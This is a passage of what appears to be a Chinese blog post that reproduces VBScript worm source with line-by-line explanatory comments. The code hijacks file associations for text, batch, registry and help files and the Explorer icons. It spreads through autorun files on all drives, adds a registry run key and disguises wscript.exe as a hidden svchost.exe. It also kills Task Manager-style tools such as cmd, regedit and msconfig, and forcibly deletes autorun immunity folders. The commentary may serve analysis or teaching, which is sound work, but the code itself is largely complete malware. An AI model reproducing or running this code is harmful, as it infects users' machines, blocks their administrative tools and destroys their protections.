Automation 对象的引用。</span></span><br><span class="line"><span class="comment">'//CreateObject(servername.typename [, location])</span></span><br><span class="line"><span class="comment">'//servername 必选项。提供对象的应用程序名称。</span></span><br><span class="line"><span class="comment">'//typename 必选项。要创建的对象类型或类。</span></span><br><span class="line"><span class="comment">'//location 可选项。对象所在的网络服务器将被创建。</span></span><br><span class="line"><span class="comment">'//说明Automation 服务器至少提供一种对象类型。例如，字处理应用程序可以提供应用程序对象、文档对象和工具条对象。</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">Set</span> Fso=<span class="built_in">CreateObject</span>(<span class="string">"scRiPTinG.fiLEsysTeMoBjEcT"</span>) <span class="comment">'//为变量Fso赋值 创建 Scripting.FileSystemObject 对象 提供对计算机文件系统的访问</span></span><br><span class="line"><span class="keyword">Set</span> WshShell=<span class="built_in">CreateObject</span>(<span class="string">"wScRipT.SHelL"</span>) <span class="comment">'//为变量WshShell赋值 创建Wscript.Shell对象 用于获取系统环境变量的访问、创建快捷方式、访问Windows的特殊文件夹，</span></span><br><span class="line">                       <span class="comment">'//以及添加或删除注册表条目。还可以使用Shell对象的功能创建更多的定制对话框以进行用户交互。</span></span><br><span class="line"><span class="keyword">Call</span> Main() <span class="comment">'//call 将控制权传递到sub或function</span></span><br><span class="line"><span class="keyword">Sub</span> Main() <span class="comment">'//sub、function 两种表示方法 sub没有返回值，function有返回值</span></span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Args, VirusLoad, VirusAss</span><br><span class="line">    <span class="keyword">Set</span> Args=WScript.Arguments <span class="comment">'//返回wsh对象的参数集</span></span><br><span class="line">    VirusLoad=GetMainVirus(<span class="number">1</span>)  <span class="comment">'//获得System文件夹下smss.exe 蠕虫地址</span></span><br><span class="line">    VirusAss=GetMainVirus(<span class="number">0</span>)   <span class="comment">'//获得Windows文件夹下explorer.exe 蠕虫地址</span></span><br><span class="line">    ArgNum=<span class="number">0</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">Do</span> <span class="keyword">While</span> ArgNum &lt; Args.Count</span><br><span class="line">        Param=Param&amp;<span class="string">" "</span>&amp;Args(ArgNum)</span><br><span class="line">        ArgNum=ArgNum + <span class="number">1</span></span><br><span class="line">    <span class="keyword">Loop</span></span><br><span class="line">    SubParam=<span class="built_in">LCase</span>(<span class="built_in">Right</span>(Param, <span class="number">3</span>)) <span class="comment">'//LCase 返回字符串的小写形式 Right 从字符串右边返回指定数目的字符</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">Select</span> <span class="keyword">Case</span> SubParam <span class="comment">'//select类似switch</span></span><br><span class="line">    <span class="keyword">Case</span> <span class="string">"run"</span> <span class="comment">'//当运行run时，同时启动病毒文件</span></span><br><span class="line">        RunPath=<span class="built_in">Left</span>(WScript.ScriptFullName, <span class="number">2</span>) <span class="comment">'//ScriptFullName属性返回当前正在运行的脚本的完整路径。该属性返回一个只读的字符串。</span></span><br><span class="line">        <span class="keyword">Call</span> Run(RunPath)</span><br><span class="line">        <span class="keyword">Call</span> InvadeSystem(VirusLoad,VirusAss)</span><br><span class="line">        <span class="keyword">Call</span> Run(<span class="string">"%SystemRoot%/system/svchost.exe "</span>&amp;VirusLoad)</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">Case</span> <span class="string">"txt"</span>, <span class="string">"log"</span>,<span class="string">"ini"</span> ,<span class="string">"inf"</span> <span class="comment">'//运行"txt", "log", "ini", "inf"后缀名文件时，同时启动病毒文件</span></span><br><span class="line">        RunPath=<span class="string">"%SystemRoot%/system32/NOTEPAD.EXE "</span>&amp;Param</span><br><span class="line">        <span class="keyword">Call</span> Run(RunPath)</span><br><span class="line">        <span class="keyword">Call</span> InvadeSystem(VirusLoad,VirusAss)</span><br><span class="line">        <span class="keyword">Call</span> Run(<span class="string">"%SystemRoot%/system/svchost.exe "</span>&amp;VirusLoad)</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">Case</span> <span class="string">"bat"</span>, <span class="string">"cmd"</span> <span class="comment">'//运行"bat", "cmd"批处理或命令提示符时，同时启动病毒文件</span></span><br><span class="line">        RunPath=<span class="string">"CMD /c echo Hi!I'm here!&amp;pause"</span></span><br><span class="line">        <span class="keyword">Call</span> Run(RunPath)</span><br><span class="line">        <span class="keyword">Call</span> InvadeSystem(VirusLoad,VirusAss)</span><br><span class="line">        <span class="keyword">Call</span> Run(<span class="string">"%SystemRoot%/system/svchost.exe "</span>&amp;VirusLoad)</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">Case</span> <span class="string">"reg"</span> <span class="comment">'//运行"reg"注册表导入程序时，同时启动病毒文件</span></span><br><span class="line">        RunPath=<span class="string">"regedit.exe "</span>&amp;<span class="string">""""</span>&amp;<span class="built_in">Trim</span>(Param)&amp;<span class="string">""""</span></span><br><span class="line">        <span class="keyword">Call</span> Run(RunPath)</span><br><span class="line">        <span class="keyword">Call</span> InvadeSystem(VirusLoad,VirusAss)</span><br><span class="line">        <span class="keyword">Call</span> Run(<span class="string">"%SystemRoot%/system/svchost.exe "</span>&amp;VirusLoad)</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">Case</span> <span class="string">"chm"</span> <span class="comment">'//运行"chm"帮助文件时，同时启动病毒文件</span></span><br><span class="line">        RunPath=<span class="string">"hh.exe "</span>&amp;<span class="string">""""</span>&amp;<span class="built_in">Trim</span>(Param)&amp;<span class="string">""""</span></span><br><span class="line">        <span class="keyword">Call</span> Run(RunPath)</span><br><span class="line">        <span class="keyword">Call</span> InvadeSystem(VirusLoad,VirusAss)</span><br><span class="line">        <span class="keyword">Call</span> Run(<span class="string">"%SystemRoot%/system/svchost.exe "</span>&amp;VirusLoad)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">Case</span> <span class="string">"hlp"</span> <span class="comment">'//运行"hlp"帮助文件时，同时启动病毒文件</span></span><br><span class="line">        RunPath=<span class="string">"winhlp32.exe "</span>&amp;<span class="string">""""</span>&amp;<span class="built_in">Trim</span>(Param)&amp;<span class="string">""""</span></span><br><span class="line">        <span class="keyword">Call</span> Run(RunPath)</span><br><span class="line">        <span class="keyword">Call</span> InvadeSystem(VirusLoad,VirusAss)</span><br><span class="line">        <span class="keyword">Call</span> Run(<span class="string">"%SystemRoot%/system/svchost.exe "</span>&amp;VirusLoad)</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">Case</span> <span class="string">"dir"</span> <span class="comment">'//运行dir命令，同时启动病毒文件</span></span><br><span class="line">        RunPath=<span class="string">""""</span>&amp;<span class="built_in">Left</span>(<span class="built_in">Trim</span>(Param),<span class="built_in">Len</span>(<span class="built_in">Trim</span>(Param))<span class="number">-3</span>)&amp;<span class="string">""""</span></span><br><span class="line">        <span class="keyword">Call</span> Run(RunPath)</span><br><span class="line">        <span class="keyword">Call</span> InvadeSystem(VirusLoad,VirusAss)</span><br><span class="line">        <span class="keyword">Call</span> Run(<span class="string">"%SystemRoot%/system/svchost.exe "</span>&amp;VirusLoad)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">Case</span> <span class="string">"oie"</span> <span class="comment">'//打开我IE图标，同时启动病毒文件</span></span><br><span class="line">        RunPath=<span class="string">"""%ProgramFiles%/Internet Explorer/IEXPLORE.EXE"""</span></span><br><span class="line">        <span class="keyword">Call</span> Run(RunPath)</span><br><span class="line">        <span class="keyword">Call</span> InvadeSystem(VirusLoad,VirusAss)</span><br><span class="line">        <span class="keyword">Call</span> Run(<span class="string">"%SystemRoot%/system/svchost.exe "</span>&amp;VirusLoad)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">Case</span> <span class="string">"omc"</span> <span class="comment">'//打开我的电脑图标，同时启动病毒文件</span></span><br><span class="line">        RunPath=<span class="string">"explorer.exe /n,::&#123;20D04FE0-3AEA-1069-A2D8-08002B30309D&#125;"</span></span><br><span class="line">        <span class="keyword">Call</span> Run(RunPath)</span><br><span class="line">        <span class="keyword">Call</span> InvadeSystem(VirusLoad,VirusAss)</span><br><span class="line">        <span class="keyword">Call</span> Run(<span class="string">"%SystemRoot%/system/svchost.exe "</span>&amp;VirusLoad)</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">Case</span> <span class="string">"emc"</span> <span class="comment">'//劫持Win+E</span></span><br><span class="line">        RunPath=<span class="string">"explorer.exe /n,/e,::&#123;20D04FE0-3AEA-1069-A2D8-08002B30309D&#125;"</span></span><br><span class="line">        <span class="keyword">Call</span> Run(RunPath)</span><br><span class="line">        <span class="keyword">Call</span> InvadeSystem(VirusLoad,VirusAss)</span><br><span class="line">        <span class="keyword">Call</span> Run(<span class="string">"%SystemRoot%/system/svchost.exe "</span>&amp;VirusLoad)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">Case</span> <span class="keyword">Else</span></span><br><span class="line">        <span class="keyword">If</span> PreDblInstance=<span class="literal">True</span> <span class="keyword">Then</span> <span class="comment">'//如果条件满足，退出脚本宿主</span></span><br><span class="line">            WScript.Quit</span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">        Timeout = <span class="built_in">Datediff</span>(<span class="string">"ww"</span>, GetInfectedDate, <span class="built_in">Date</span>) - <span class="number">12</span></span><br><span class="line">        <span class="keyword">If</span> Timeout&gt;<span class="number">0</span> <span class="keyword">And</span> <span class="built_in">Month</span>(<span class="built_in">Date</span>) = <span class="built_in">Day</span>(<span class="built_in">Date</span>) <span class="keyword">Then</span></span><br><span class="line">               <span class="keyword">Call</span> VirusAlert()</span><br><span class="line">               <span class="keyword">Call</span> MakeJoke(<span class="built_in">CInt</span>(<span class="built_in">Month</span>(<span class="built_in">Date</span>)))</span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">        <span class="keyword">Call</span> MonitorSystem()</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">Select</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//监视系统 结束taskmgr.exe、regedit.exe、msconfig.exe、cmd.exe</span></span><br><span class="line"><span class="keyword">Sub</span> MonitorSystem()</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> ProcessNames, ExeFullNames</span><br><span class="line">    ProcessNames=<span class="built_in">Array</span>(<span class="string">"cmd.exe"</span>,<span class="string">"cmd.com"</span>,<span class="string">"regedit.exe"</span>,<span class="string">"regedit.scr"</span>,<span class="string">"regedit.pif"</span>,<span class="string">"regedit.com"</span>,<span class="string">"msconfig.exe"</span>)</span><br><span class="line">    VBSFullNames=<span class="built_in">Array</span>(GetMainVirus(<span class="number">1</span>)) <span class="comment">'//变量赋值</span></span><br><span class="line">    <span class="keyword">Do</span></span><br><span class="line">        <span class="keyword">Call</span> KillProcess(ProcessNames) <span class="comment">'//如发现变量中的进程，调用结束进程函数</span></span><br><span class="line">        <span class="keyword">Call</span> InvadeSystem(GetMainVirus(<span class="number">1</span>),GetMainVirus(<span class="number">0</span>)) <span class="comment">'// smss.exe 蠕虫地址 explorer.exe 蠕虫地址</span></span><br><span class="line">        <span class="keyword">Call</span> KeepProcess(VBSFullNames) <span class="comment">'//保持病毒进程</span></span><br><span class="line">        WScript.Sleep <span class="number">3000</span> <span class="comment">'//脚本宿主等待时间为3000毫秒=3秒</span></span><br><span class="line">    <span class="keyword">Loop</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//侵入系统</span></span><br><span class="line"><span class="keyword">Sub</span> InvadeSystem(VirusLoadPath,VirusAssPath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version</span><br><span class="line">    Load_Value=<span class="string">""""</span>&amp;VirusLoadPath&amp;<span class="string">""""</span> <span class="comment">'//smss.exe的病毒流</span></span><br><span class="line">    File_Value=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;VirusAssPath&amp;<span class="string">""""</span>&amp;<span class="string">" %1 %* "</span> <span class="comment">'// explorer.exe 蠕虫</span></span><br><span class="line">    IE_Value=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;VirusAssPath&amp;<span class="string">""""</span>&amp;<span class="string">" OIE "</span> <span class="comment">'// 打开ie 蠕虫</span></span><br><span class="line">    MyCpt_Value1=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;VirusAssPath&amp;<span class="string">""""</span>&amp;<span class="string">" OMC "</span> <span class="comment">'//打开我的电脑 蠕虫</span></span><br><span class="line">    MyCpt_Value2=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;VirusAssPath&amp;<span class="string">""""</span>&amp;<span class="string">" EMC "</span> <span class="comment">'//劫持Win+E 蠕虫</span></span><br><span class="line">    HCULoad=<span class="string">"HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Load"</span></span><br><span class="line">    HCUVer=<span class="string">"HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Ver"</span></span><br><span class="line">    HCUDate=<span class="string">"HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Date"</span></span><br><span class="line">    VirusCode=GetCode(WScript.ScriptFullName)</span><br><span class="line">    Version=<span class="number">1</span></span><br><span class="line">    HostSourcePath=Fso.GetSpecialFolder(<span class="number">1</span>)&amp;<span class="string">"/Wscript.exe"</span></span><br><span class="line">    HostFilePath=Fso.GetSpecialFolder(<span class="number">0</span>)&amp;<span class="string">"/system/svchost.exe"</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">For</span> <span class="keyword">Each</span> Drive <span class="keyword">In</span> Fso.Drives <span class="comment">'//分别建立各个目录的病毒名字</span></span><br><span class="line">        <span class="keyword">If</span> Drive.IsReady <span class="keyword">and</span> (Drive.DriveType=<span class="number">1</span> <span class="keyword">Or</span> Drive.DriveType=<span class="number">2</span> <span class="keyword">Or</span> Drive.DriveType=<span class="number">3</span>) <span class="keyword">Then</span></span><br><span class="line">            DiskVirusName=GetSerialNumber(Drive.DriveLetter)&amp;<span class="string">".vbs"</span></span><br><span class="line">                <span class="keyword">Call</span> CreateAutoRun(Drive.DriveLetter,DiskVirusName) <span class="comment">'//创建自动运行</span></span><br><span class="line">                <span class="keyword">Call</span> InfectRoot(Drive.DriveLetter,DiskVirusName) <span class="comment">'//感染</span></span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">Next</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> FSO.FileExists(VirusAssPath)=<span class="literal">False</span> <span class="keyword">Or</span> FSO.FileExists(VirusLoadPath)=<span class="literal">False</span> <span class="keyword">Or</span> FSO.FileExists(HostFilePath)=<span class="literal">False</span> <span class="keyword">Or</span> GetVersion()&lt; Version <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">If</span> GetFileSystemType(GetSystemDrive())=<span class="string">"NTFS"</span> <span class="keyword">Then</span> <span class="comment">'//判断是否为NTFS分区</span></span><br><span class="line">            <span class="keyword">Call</span> CreateFile(VirusCode,VirusAssPath)</span><br><span class="line">            <span class="keyword">Call</span> CreateFile(VirusCode,VirusLoadPath) <span class="comment">'//这一步创建了流文件</span></span><br><span class="line">            <span class="keyword">Call</span> CopyFile(HostSourcePath,HostFilePath) <span class="comment">'//这一步将wscript.exe从system32复制到system目录并改名svchost.exe</span></span><br><span class="line">            <span class="keyword">Call</span> SetHiddenAttr(HostFilePath)</span><br><span class="line">        <span class="keyword">Else</span> <span class="comment">'//FAT32格式</span></span><br><span class="line">            <span class="keyword">Call</span> CreateFile(VirusCode, VirusAssPath)</span><br><span class="line">            <span class="keyword">Call</span> SetHiddenAttr(VirusAssPath)</span><br><span class="line">            <span class="keyword">Call</span> CreateFile(VirusCode,VirusLoadPath)</span><br><span class="line">            <span class="keyword">Call</span> SetHiddenAttr(VirusLoadPath)</span><br><span class="line">            <span class="keyword">Call</span> CopyFile(HostSourcePath, HostFilePath)</span><br><span class="line">            <span class="keyword">Call</span> SetHiddenAttr(HostFilePath)</span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> ReadReg(HCULoad)&lt;&gt;Load_Value  <span class="keyword">Then</span>  <span class="comment">'//改写注册表启动项，smss.exe的流</span></span><br><span class="line">        <span class="keyword">Call</span> WriteReg (HCULoad, Load_Value, <span class="string">""</span>)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> GetVersion() &lt; Version <span class="keyword">Then</span>   <span class="comment">'//改写版本信息为1</span></span><br><span class="line">        <span class="keyword">Call</span> WriteReg (HCUVer, Version, <span class="string">""</span>)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> GetInfectedDate() = <span class="string">""</span> <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> WriteReg (HCUDate, <span class="built_in">Date</span>, <span class="string">""</span>)  <span class="comment">'//记录感染时间</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">'//以下更改许多文件关联,病毒的通用感染方式</span></span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/txtfile/shell/open/command/"</span>)&lt;&gt;File_Value <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SetTxtFileAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inifile/shell/open/command/"</span>)&lt;&gt;File_Value <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SetIniFileAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inffile/shell/open/command/"</span>)&lt;&gt;File_Value <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SetInfFileAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/batfile/shell/open/command/"</span>)&lt;&gt;File_Value <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SetBatFileAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/cmdfile/shell/open/command/"</span>)&lt;&gt;File_Value <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SetCmdFileAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/regfile/shell/open/command/"</span>)&lt;&gt;File_Value <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SetRegFileAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/chm.file/shell/open/command/"</span>)&lt;&gt;File_Value <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SetchmFileAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/hlpfile/shell/open/command/"</span>)&lt;&gt;File_Value <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SethlpFileAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Applications/iexplore.exe/shell/open/command/"</span>)&lt;&gt;IE_Value <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SetIEAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_CLASSES_ROOT/CLSID/&#123;871C5380-42A0-1069-A2EA-08002B30309D&#125;/shell/OpenHomePage/Command/"</span>)&lt;&gt;IE_Value <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SetIEAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_CLASSES_ROOT/CLSID/&#123;20D04FE0-3AEA-1069-A2D8-08002B30309D&#125;/shell/open/command/"</span>)&lt;&gt;MyCpt_Value1 <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SetMyComputerAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">If</span> ReadReg(<span class="string">"HKEY_CLASSES_ROOT/CLSID/&#123;20D04FE0-3AEA-1069-A2D8-08002B30309D&#125;/shell/explore/command/"</span>)&lt;&gt;MyCpt_Value2 <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> SetMyComputerAss(VirusAssPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">Call</span> RegSet()</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//拷贝文件</span></span><br><span class="line"><span class="keyword">Sub</span> CopyFile(source, pathf)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">If</span> FSO.FileExists(pathf) <span class="keyword">Then</span></span><br><span class="line">        FSO.DeleteFile pathf , <span class="literal">True</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span>    </span><br><span class="line">    FSO.CopyFile source, pathf</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//创建文件</span></span><br><span class="line"><span class="keyword">Sub</span> CreateFile(code, pathf)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> FileText</span><br><span class="line">    <span class="keyword">If</span> FSO.FileExists(pathf) <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Set</span> FileText=FSO.OpenTextFile(pathf, <span class="number">2</span>, <span class="literal">False</span>)</span><br><span class="line">        FileText.Write code</span><br><span class="line">        FileText.Close</span><br><span class="line">    <span class="keyword">Else</span></span><br><span class="line">        <span class="keyword">Set</span> FileText=FSO.OpenTextFile(pathf, <span class="number">2</span>, <span class="literal">True</span>)</span><br><span class="line">        FileText.Write code</span><br><span class="line">        FileText.Close</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//注册表设置</span></span><br><span class="line"><span class="keyword">Sub</span> RegSet()</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span> </span><br><span class="line">    <span class="keyword">Dim</span> RegPath1 , RegPath2, RegPath3, RegPath4</span><br><span class="line">    RegPath1=<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/NOHIDDEN/CheckedValue"</span></span><br><span class="line">    RegPath2=<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/SHOWALL/CheckedValue"</span></span><br><span class="line">    RegPath3=<span class="string">"HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDriveTypeAutoRun"</span></span><br><span class="line">    RegPath4=<span class="string">"HKEY_CLASSES_ROOT/lnkfile/IsShortcut"</span></span><br><span class="line">    <span class="keyword">Call</span> WriteReg (RegPath1, <span class="number">3</span>, <span class="string">"REG_DWORD"</span>)</span><br><span class="line">    <span class="keyword">Call</span> WriteReg (RegPath2, <span class="number">2</span>, <span class="string">"REG_DWORD"</span>)</span><br><span class="line">    <span class="keyword">Call</span> WriteReg (RegPath3, <span class="number">0</span>, <span class="string">"REG_DWORD"</span>)</span><br><span class="line">    <span class="keyword">Call</span> DeleteReg (RegPath4)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//结束进程</span></span><br><span class="line"><span class="keyword">Sub</span> KillProcess(ProcessNames)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Set</span> WMIService=<span class="built_in">GetObject</span>(<span class="string">"winmgmts://./root/cimv2"</span>)</span><br><span class="line">    <span class="keyword">For</span> <span class="keyword">Each</span> ProcessName <span class="keyword">in</span> ProcessNames </span><br><span class="line">        <span class="keyword">Set</span> ProcessList=WMIService.execquery(<span class="string">" Select * From win32_process where name ='"</span>&amp;ProcessName&amp;<span class="string">"' "</span>)</span><br><span class="line">        <span class="keyword">For</span> <span class="keyword">Each</span> Process <span class="keyword">in</span> ProcessList</span><br><span class="line">            IntReturn=Process.terminate</span><br><span class="line">            <span class="keyword">If</span> intReturn&lt;&gt;<span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">                WshShell.Run <span class="string">"CMD /c ntsd -c q -p "</span>&amp;Process.Handle, vbHide, <span class="literal">False</span></span><br><span class="line">            <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">        <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Next</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//删掉autorun.inf免疫目录</span></span><br><span class="line"><span class="keyword">Sub</span> KillImmunity(D)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    ImmunityFolder=D&amp;<span class="string">":/Autorun.inf"</span></span><br><span class="line">    <span class="keyword">If</span> Fso.FolderExists(ImmunityFolder) <span class="keyword">Then</span></span><br><span class="line">        WshSHell.Run (<span class="string">"CMD /C CACLS "</span>&amp; <span class="string">""""</span>&amp;ImmunityFolder&amp;<span class="string">""""</span> &amp;<span class="string">" /t /e /c /g everyone:f"</span>),vbHide,<span class="literal">True</span>   <span class="comment">'//提权</span></span><br><span class="line">        WshSHell.Run (<span class="string">"CMD /C RD /S /Q "</span>&amp; ImmunityFolder), vbHide, <span class="literal">True</span>   <span class="comment">'//rd命令删除，配合 /s /q 选项，很轻松</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//保护病毒进程 保持脚本进程持续运行，少于2个创建新进程</span></span><br><span class="line"><span class="keyword">Sub</span> KeepProcess(VBSFullNames)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">For</span> <span class="keyword">Each</span> VBSFullName <span class="keyword">in</span> VBSFullNames </span><br><span class="line">        <span class="keyword">If</span> VBSProcessCount(VBSFullName) &lt; <span class="number">2</span> <span class="keyword">then</span></span><br><span class="line">            Run(<span class="string">"%SystemRoot%/system/svchost.exe "</span>&amp;VBSFullName)</span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">Next</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//获得系统分区 c:</span></span><br><span class="line"><span class="comment">'//FileSystemObject.GetSpecialFolder 返回指定特殊文件夹</span></span><br><span class="line"><span class="comment">'//WindowsFolder   0   Windows 文件夹，包含 Windows 操作系统安装的文件。 </span></span><br><span class="line"><span class="comment">'//SystemFolder    1   System 文件夹，包含库、字体和设备驱动程序文件。 </span></span><br><span class="line"><span class="comment">'//TemporaryFolder 2   Temp 